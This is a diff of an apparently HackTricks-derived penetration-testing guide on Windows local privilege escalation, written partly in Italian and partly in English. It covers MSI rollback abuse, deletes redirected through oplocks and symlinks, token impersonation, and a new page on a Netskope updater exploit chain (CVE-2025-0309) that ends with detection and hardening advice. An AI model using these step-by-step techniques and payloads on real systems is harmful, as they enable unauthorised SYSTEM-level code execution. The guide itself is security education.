contenuti, **`C:\Config.Msi` non viene rimosso**. +- Step 4: Block Deletion of `.rbf` +- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. +- Then **signal back** so the uninstall can finish. +- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. -- Passo 5: Cancella manualmente `.rbf` -- Tu (attaccante) cancelli manualmente il file `.rbf`. -- Ora **`C:\Config.Msi` è vuota**, pronta per essere hijackata. +- Step 5: Manually Delete `.rbf` +- You (attacker) delete the `.rbf` file manually. +- Now **`C:\Config.Msi` is empty**, ready to be hijacked. -> A questo punto, **sfrutta la vulnerabilità di eliminazione arbitraria di cartelle a livello SYSTEM** per cancellare `C:\Config.Msi`. +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. -2. **Stage 2 – Sostituire gli script di rollback con quelli malevoli** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Passo 6: Ricrea `C:\Config.Msi` con ACL deboli -- Ricrea tu la cartella `C:\Config.Msi`. -- Imposta **DACLs deboli** (es. Everyone:F) e **mantieni un handle aperto** con `WRITE_DAC`. +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Recreate the `C:\Config.Msi` folder yourself. +- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. -- Passo 7: Esegui un'altra installazione -- Installa di nuovo il `.msi`, con: -- `TARGETDIR`: posizione scrivibile. -- `ERROROUT`: una variabile che provoca un errore forzato. -- Questa installazione verrà usata per avviare nuovamente il **rollback**, che legge `.rbs` e `.rbf`. +- Step 7: Run Another Install +- Install the `.msi` again, with: +- `TARGETDIR`: Writable location. +- `ERROROUT`: A variable that triggers a forced failure. +- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. -- Passo 8: Monitora la comparsa di `.rbs` -- Usa `ReadDirectoryChangesW` per monitorare `C:\Config.Msi` finché non appare un nuovo `.rbs`. -- Cattura il nome del file. +- Step 8: Monitor for `.rbs` +- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. +- Capture its filename. -- Passo 9: Sincronizza prima del rollback -- Il `.msi` contiene una **custom install action (`SyncBeforeRollback`)** che: -- Segnala un evento quando il `.rbs` viene creato. -- Poi **attende** prima di proseguire. +- Step 9: Sync Before Rollback +- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: +- Signals an event when the `.rbs` is created. +- Then **waits** before continuing. -- Passo 10: Reapplica ACL deboli -- Dopo aver ricevuto l'evento `'.rbs created'`: -- Il Windows Installer **reapplica ACL forti** a `C:\Config.Msi`. -- Ma dato che hai ancora un handle con `WRITE_DAC`, puoi **reapplicare ACL deboli** di nuovo. +- Step 10: Reapply Weak ACL +- After receiving the `.rbs created` event: +- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. +- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. -> Le ACL sono **applicate solo all'apertura dell'handle**, quindi puoi ancora scrivere nella cartella. +> ACLs are **only enforced on handle open**, so you can still write to the folder. -- Passo 11: Posiziona `.rbs` e `.rbf` falsi -- Sovrascrivi il file `.rbs` con uno **script di rollback falso** che dice a Windows di: -- Ripristinare il tuo file `.rbf` (DLL malevola) in una **posizione privilegiata** (es. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Posizionare il tuo `.rbf` falso contenente una **DLL payload malevola a livello SYSTEM**. +- Step 11: Drop Fake `.rbs` and `.rbf` +- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: +- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. -- Passo 12: Attiva il rollback -- Segnala l'evento di sync così l'installer riprende. -- Una **type 19 custom action (`ErrorOut`)** è configurata per **fallire intenzionalmente l'installazione** in un punto noto. -- Questo fa sì che **il rollback inizi**. +- Step 12: Trigger the Rollback +- Signal the sync event so the installer resumes. +- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. +- This causes **rollback to begin**. -- Passo 13: SYSTEM installa la tua DLL +- Step 13: SYSTEM Installs Your DLL - Windows Installer: -- Legge il tuo `.rbs` malevolo. -- Copia la tua DLL `.rbf` nella posizione target. -- Ora hai la tua **DLL malevola in un percorso caricato da SYSTEM**. +- Reads your malicious `.rbs`. +- Copies your `.rbf` DLL into the target location. +- You now have your **malicious DLL in a SYSTEM-loaded path**. -- Passo finale: Esegui codice a livello SYSTEM -- Esegui un **auto-elevated binary** attendibile (es. `osk.exe`) che carica la DLL che hai hijackato. -- **Boom**: Il tuo codice viene eseguito **come SYSTEM**. +- Final Step: Execute SYSTEM Code +- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. +- **Boom**: Your code is executed **as SYSTEM**. -### Da Eliminazione/Spostamento/Rinominazione Arbitraria di File a SYSTEM EoP +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -La tecnica principale di rollback MSI (quella precedente) presuppone di poter cancellare un **intera cartella** (es. `C:\Config.Msi`). Ma cosa succede se la tua vulnerabilità permette solo la **cancellazione arbitraria di file** ? +La tecnica principale del rollback MSI (quella precedente) presuppone che tu possa cancellare un **intera cartella** (es., `C:\Config.Msi`). Ma se la tua vulnerabilità permette solo la **cancellazione arbitraria di file**? -Potresti sfruttare gli **NTFS internals**: ogni cartella ha uno stream di dati alternativo nascosto chiamato: +Potresti sfruttare gli **internals di NTFS**: ogni cartella ha uno stream di dati alternativo nascosto chiamato: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Questo stream memorizza i **metadati dell'indice** della cartella. +Questo stream conserva i **metadati dell'indice** della cartella. Quindi, se **elimini lo stream `::$INDEX_ALLOCATION`** di una cartella, NTFS **rimuove l'intera cartella** dal filesystem. -Puoi farlo usando le API standard per la cancellazione dei file, come: +Puoi farlo usando le API standard per l'eliminazione dei file come: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Nonostante tu stia chiamando una *file* delete API, essa **elimina la cartella stessa**. +> Anche se stai chiamando una *file* delete API, essa **elimina la cartella stessa**. -### Da Folder Contents Delete a SYSTEM EoP -E se il tuo primitive non ti permette di eliminare file/cartelle arbitrari, ma **consente l'eliminazione del *contenuto* di una cartella controllata dall'attaccante**? +### Dall'eliminazione dei contenuti di una cartella a SYSTEM EoP +Cosa succede se la tua primitive non ti permette di eliminare file/cartelle arbitrari, ma **consente invece l'eliminazione del *contenuto* di una cartella controllata dall'attaccante**? -1. Step 1: Crea una cartella esca e un file +1. Passo 1: Prepara una cartella esca e un file - Crea: `C:\temp\folder1` - Al suo interno: `C:\temp\folder1\file1.txt` -2. Step 2: Posiziona un **oplock** su `file1.txt` +2. Passo 2: Posiziona un **oplock** su `file1.txt` - L'oplock **mette in pausa l'esecuzione** quando un processo privilegiato prova a eliminare `file1.txt`. ```c // pseudo-code @@ -1470,8 +1482,8 @@ RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` 3. Passo 3: Attivare il processo SYSTEM (ad es., `SilentCleanup`) -- Questo processo esegue la scansione delle cartelle (ad es., `%TEMP%`) e cerca di eliminare il loro contenuto. -- Quando raggiunge `file1.txt`, l'**oplock** si attiva e passa il controllo al tuo callback. +- Questo processo scansiona le cartelle (es., `%TEMP%`) e tenta di cancellarne il contenuto. +- Quando raggiunge `file1.txt`, l'**oplock si attiva** e passa il controllo al tuo callback. 4. Passo 4: All'interno del callback dell'oplock – reindirizza la cancellazione @@ -1489,17 +1501,17 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Questo prende di mira lo stream interno NTFS che memorizza i metadati delle cartelle — cancellandolo si cancella la cartella. +> Questo prende di mira lo stream interno NTFS che memorizza i metadati della cartella — cancellarlo elimina la cartella. -5. Passo 5: Rilascio dell'oplock +5. Passo 5: Rilasciare l'oplock - Il processo SYSTEM continua e prova a cancellare `file1.txt`. -- Ma ora, a causa della junction + symlink, sta in realtà cancellando: +- Ma ora, a causa della junction + symlink, in realtà sta cancellando: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Risultato**: `C:\Config.Msi` viene eliminato da SYSTEM. -### Da Arbitrary Folder Create a DoS Permanente +### Dalla creazione arbitraria di cartelle a un DoS permanente Sfrutta una primitiva che ti permette di **creare una cartella arbitraria come SYSTEM/admin** — anche se **non puoi scrivere file** o **impostare permessi deboli**. @@ -1507,14 +1519,14 @@ Crea una **cartella** (non un file) con il nome di un **driver critico di Window ``` C:\Windows\System32\cng.sys ``` -- Questo percorso corrisponde normalmente al driver in modalità kernel `cng.sys`. +- Questo percorso corrisponde normalmente al driver in kernel-mode `cng.sys`. - Se lo **pre-crei come cartella**, Windows non riesce a caricare il driver reale all'avvio. - Poi, Windows tenta di caricare `cng.sys` durante l'avvio. -- Vede la cartella, **non riesce a risolvere il driver reale**, e **va in crash o interrompe l'avvio**. -- Non c'è **fallback**, e **nessun recupero** senza intervento esterno (es. riparazione dell'avvio o accesso al disco). +- Rileva la cartella, **non riesce a risolvere il driver reale**, e **va in crash o blocca l'avvio**. +- Non esiste **nessun fallback**, e **nessun recupero** senza intervento esterno (es. riparazione dell'avvio o accesso al disco). -## **Da High Integrity a System** +## **Da High Integrity a SYSTEM** ### **Nuovo servizio** @@ -1524,32 +1536,32 @@ sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Quando crei un service binary assicurati che sia un servizio valido o che il binario esegua le azioni necessarie abbastanza velocemente, altrimenti verrà terminato dopo 20s se non è un servizio valido. +> Quando crei un service binary assicurati che sia un servizio valido o che il binary esegua le azioni necessarie abbastanza velocemente poiché verrà terminato in 20s se non è un servizio valido. ### AlwaysInstallElevated -From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +Da un processo High Integrity puoi provare a **abilitare le voci di registro AlwaysInstallElevated** e **installare** una reverse shell usando un wrapper _**.msi**_.\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**Puoi** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Se hai quei privilegi di token (probabilmente li troverai in un processo già High Integrity), sarai in grado di **aprire quasi qualsiasi processo** (non i protected processes) con il privilegio SeDebug, **copiare il token** del processo e creare un **processo arbitrario con quel token**.\ -Usando questa tecnica solitamente si **sceglie un processo in esecuzione come SYSTEM con tutti i token privileges** (_sì, puoi trovare processi SYSTEM senza tutti i token privileges_).\ -**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +Se possiedi quei token privileges (probabilmente li troverai in un processo già High Integrity), sarai in grado di **aprire quasi qualsiasi process** (non i protected processes) con il privilegio SeDebug, **copiare il token** del processo, e creare un **processo arbitrario con quel token**.\ +L'uso di questa tecnica solitamente **seleziona un processo in esecuzione come SYSTEM con tutti i token privileges** (_sì, puoi trovare processi SYSTEM senza tutti i token privileges_).\ +**Puoi trovare un** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ -If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ -If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). +Questa tecnica è usata da meterpreter per escalare in `getsystem`. La tecnica consiste nel **creare una pipe e poi creare/abusare un service per scrivere su quella pipe**. Poi, il **server** che ha creato la pipe usando il privilegio **`SeImpersonate`** sarà in grado di **impersonare il token** del client della pipe (il service) ottenendo i privilegi SYSTEM.\ +Se vuoi [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +Se vuoi leggere un esempio di [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ +Se riesci a **hijackare una dll** che viene **caricata** da un **process** in esecuzione come **SYSTEM** potrai eseguire codice arbitrario con quei permessi. Pertanto Dll Hijacking è utile anche per questo tipo di escalation di privilegi e, inoltre, è **molto più facile da ottenere da un processo High Integrity** poiché avrà **permessi di scrittura** sulle cartelle usate per caricare le dll.\ **You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1562,45 +1574,45 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as **Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Ulteriori informazioni +## Ulteriore aiuto [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Strumenti utili -**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Miglior strumento per cercare Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Controlla misconfigurazioni e file sensibili (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Controlla alcune possibili misconfigurazioni e raccoglie informazioni (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Controlla misconfigurazioni e file sensibili (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Rilevato.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Controlla alcune possibili misconfigurazioni e raccoglie info (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Controlla misconfigurazioni**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Estrae informazioni sulle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usare -Thorough in locale.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spraya le password raccolte attraverso il dominio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è uno strumento PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer e man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basic privesc Windows enumeration**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca note vulnerabilità di privesc (DEPRECATED for Watson)\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Estrae informazioni sulle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usa -Thorough in locale.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Rilevato.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Effettua password spray delle password raccolte sul dominio**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è uno strumento PowerShell per spoofing ADIDNS/LLMNR/mDNS/NBNS e man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione Windows di base per privesc**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~** ~~ -- Cerca vulnerabilità privesc note (DEPRECATED for Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Controlli locali **(Need Admin rights)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Cerca note vulnerabilità di privesc (necessita di compilazione con VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando misconfigurazioni (più un tool di raccolta info che di privesc) (necessita compilazione) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Estrae credenziali da molti software (exe precompilato su GitHub)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Cerca vulnerabilità privesc note (necessita compilazione con VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Esegue l'enumerazione dell'host alla ricerca di misconfigurazioni (più uno strumento di raccolta info che di privesc) (necessita compilazione) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Estrae credenziali da molti software (exe precompilato su github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port di PowerUp in C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla misconfigurazioni (eseguibile precompilato su GitHub). Non raccomandato. Non funziona bene su Win10.\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~** ~~ -- Controlla misconfigurazioni (eseguibile precompilato su github). Non raccomandato. Non funziona bene su Win10.\ [~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Controlla possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene su Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool creato basandosi su questo post (non necessita di accesschk per funzionare correttamente ma può usarlo). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Strumento creato basato su questo post (non necessita di accesschk per funzionare correttamente ma può usarlo). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Legge l'output di **systeminfo** e raccomanda exploit funzionanti (python locale)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Legge l'output di **systeminfo** e raccomanda exploit funzionanti (python locale) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Legge l'output di **systeminfo** e suggerisce exploit funzionanti (python locale)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Legge l'output di **systeminfo** e suggerisce exploit funzionanti (python locale) **Meterpreter** diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..34646130e --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,123 @@ +# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +Questa pagina generalizza una classe di catene di local privilege escalation su Windows trovate in endpoint agent aziendali e updater che espongono una superficie IPC a basso attrito e un flusso di update privilegiato. Un esempio rappresentativo è Netskope Client for Windows < R129 (CVE-2025-0309), dove un utente con pochi privilegi può costringere l'enrollment verso un server controllato dall'attaccante e poi consegnare un MSI malevolo che il servizio SYSTEM installa. + +Idee chiave riutilizzabili contro prodotti simili: +- Abusare dell'IPC localhost di un servizio privilegiato per forzare la ri-iscrizione o la riconfigurazione verso un server controllato dall'attaccante. +- Implementare gli endpoint di update del vendor, fornire una Trusted Root CA rogue, e puntare l'updater verso un pacchetto "signed" malevolo. +- Evadere controlli di signer deboli (CN allow‑lists), flag di digest opzionali, e proprietà MSI permissive. +- Se l'IPC è "encrypted", derivare la key/IV da identificatori macchina leggibili da tutti memorizzati nel registry. +- Se il servizio restringe i caller per image path/process name, inject in un processo allow‑listed o spawnarne uno suspended e bootstrap la tua DLL tramite una minimale thread‑context patch. + +--- +## 1) Forcing enrollment to an attacker server via localhost IPC + +Molti agenti distribuiscono un processo UI in user‑mode che comunica con un servizio SYSTEM via localhost TCP usando JSON. + +Observed in Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Flusso dell'exploit: +1) Creare un token JWT di enrollment i cui claim controllano l'host backend (es., AddonUrl). Usare alg=None in modo che non sia richiesta una firma. +2) Inviare il messaggio IPC che invoca il comando di provisioning con il tuo JWT e il nome tenant: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) Il servizio inizia a contattare il tuo rogue server per enrollment/config, ad es.: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Notes: +- Se la verifica del caller è basata su path/name‑based, origina la richiesta da un allow‑listed vendor binary (vedi §4). + +--- +## 2) Dirottare il canale di aggiornamento per eseguire codice come SYSTEM + +Una volta che il client comunica col tuo server, implementa gli endpoint attesi e indirizzalo verso un MSI dell'attaccante. Sequenza tipica: + +1) /v2/config/org/clientconfig → Restituisci una config JSON con un intervallo di aggiornamento molto breve, ad es.: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → Restituisce un certificato CA in formato PEM. Il service lo installa nello store Local Machine Trusted Root. +3) /v2/checkupdate → Fornisce metadata che puntano a un MSI maligno e a una versione fasulla. + +Bypassare controlli comuni osservati in the wild: +- Signer CN allow‑list: il service potrebbe controllare solo che il Subject CN sia “netSkope Inc” o “Netskope, Inc.”. La tua CA rogue può emettere un leaf con quel CN e firmare l'MSI. +- CERT_DIGEST property: includi una property MSI innocua chiamata CERT_DIGEST. Nessuna enforcement all'installazione. +- Optional digest enforcement: flag di config (es., check_msi_digest=false) disabilita validazioni crittografiche aggiuntive. + +Risultato: il servizio SYSTEM installa il tuo MSI da +C:\ProgramData\Netskope\stAgent\data\*.msi +eseguendo codice arbitrario come NT AUTHORITY\SYSTEM. + +--- +## 3) Forging encrypted IPC requests (when present) + +Da R127, Netskope ha incapsulato l'IPC JSON in un campo encryptData che sembra Base64. Il reverse engineering ha mostrato AES con key/IV derivate da valori di registry leggibili da qualsiasi utente: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Gli attacker possono riprodurre la cifratura e inviare comandi cifrati validi da un utente standard. Suggerimento generale: se un agent improvvisamente “critta” la sua IPC, cerca device IDs, product GUIDs, install IDs sotto HKLM come material. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +Alcuni servizi provano ad autenticare il peer risolvendo il PID della connessione TCP e confrontando il percorso/nome dell'immagine contro binari vendor nella allow‑list sotto Program Files (es., stagentui.exe, bwansvc.exe, epdlp.exe). + +Due bypass pratici: +- DLL injection in un processo presente nella allow‑list (es., nsdiag.exe) e proxy dell'IPC dall'interno. +- Avviare un binario della allow‑list in stato suspended e bootstrap della tua proxy DLL senza CreateRemoteThread (vedi §5) per soddisfare le regole di tamper imposte dal driver. + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +I prodotti spesso imbarcano un minifilter/OB callbacks driver (es., Stadrv) che rimuove diritti pericolosi dagli handle verso processi protetti: +- Process: rimuove PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME +- Thread: limita a THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE + +Un loader user‑mode affidabile che rispetta questi vincoli: +1) CreateProcess di un binario vendor con CREATE_SUSPENDED. +2) Ottenere gli handle ancora permessi: PROCESS_VM_WRITE | PROCESS_VM_OPERATION sul processo, e un handle thread con THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (o solo THREAD_RESUME se patchi codice a un RIP noto). +3) Sovrascrivere ntdll!NtContinue (o un altro thunk mappato precocemente e garantito) con una piccola stub che chiama LoadLibraryW sul percorso della tua DLL, poi salta indietro. +4) ResumeThread per triggerare la stub in‑process, caricando la tua DLL. + +Poiché non hai mai usato PROCESS_CREATE_THREAD o PROCESS_SUSPEND_RESUME su un processo già protetto (l'hai creato tu), la policy del driver è soddisfatta. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) automatizza una rogue CA, la signing di MSI maligni e serve gli endpoint necessari: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope è un custom IPC client che costruisce messaggi IPC arbitrari (opzionalmente AES‑encrypted) e include l'injection via suspended‑process per originare da un binario nella allow‑list. + +--- +## 7) Detection opportunities (blue team) +- Monitorare aggiunte al Local Machine Trusted Root. Sysmon + registry‑mod eventing (vedi guidance di SpecterOps) funziona bene. +- Segnalare esecuzioni MSI avviate dal service dell'agent da percorsi come C:\ProgramData\\\data\*.msi. +- Revisionare i log dell'agent per host/tenant di enrollment inattesi, es.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – cercare addonUrl / anomalie tenant e provisioning msg 148. +- Allertare su client IPC localhost che non siano i binari firmati attesi, o che originano da alberi di processo figlio inconsueti. + +--- +## Hardening tips for vendors +- Vincolare enrollment/update hosts a una allow‑list rigorosa; rifiutare domini non trusted nel clientcode. +- Autenticare i peer IPC con primitive OS (ALPC security, named‑pipe SIDs) invece di controlli su image path/name. +- Tenere materiale segreto fuori da HKLM leggibile da tutti; se l'IPC deve essere cifrato, derivare le chiavi da secret protetti o negoziare su channel autenticati. +- Trattare l'updater come una superficie di supply‑chain: richiedere una catena completa verso una CA trusted che controlli, verificare le firme dei pacchetti contro chiavi pinned, e fail closed se la validazione è disabilitata in config. + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}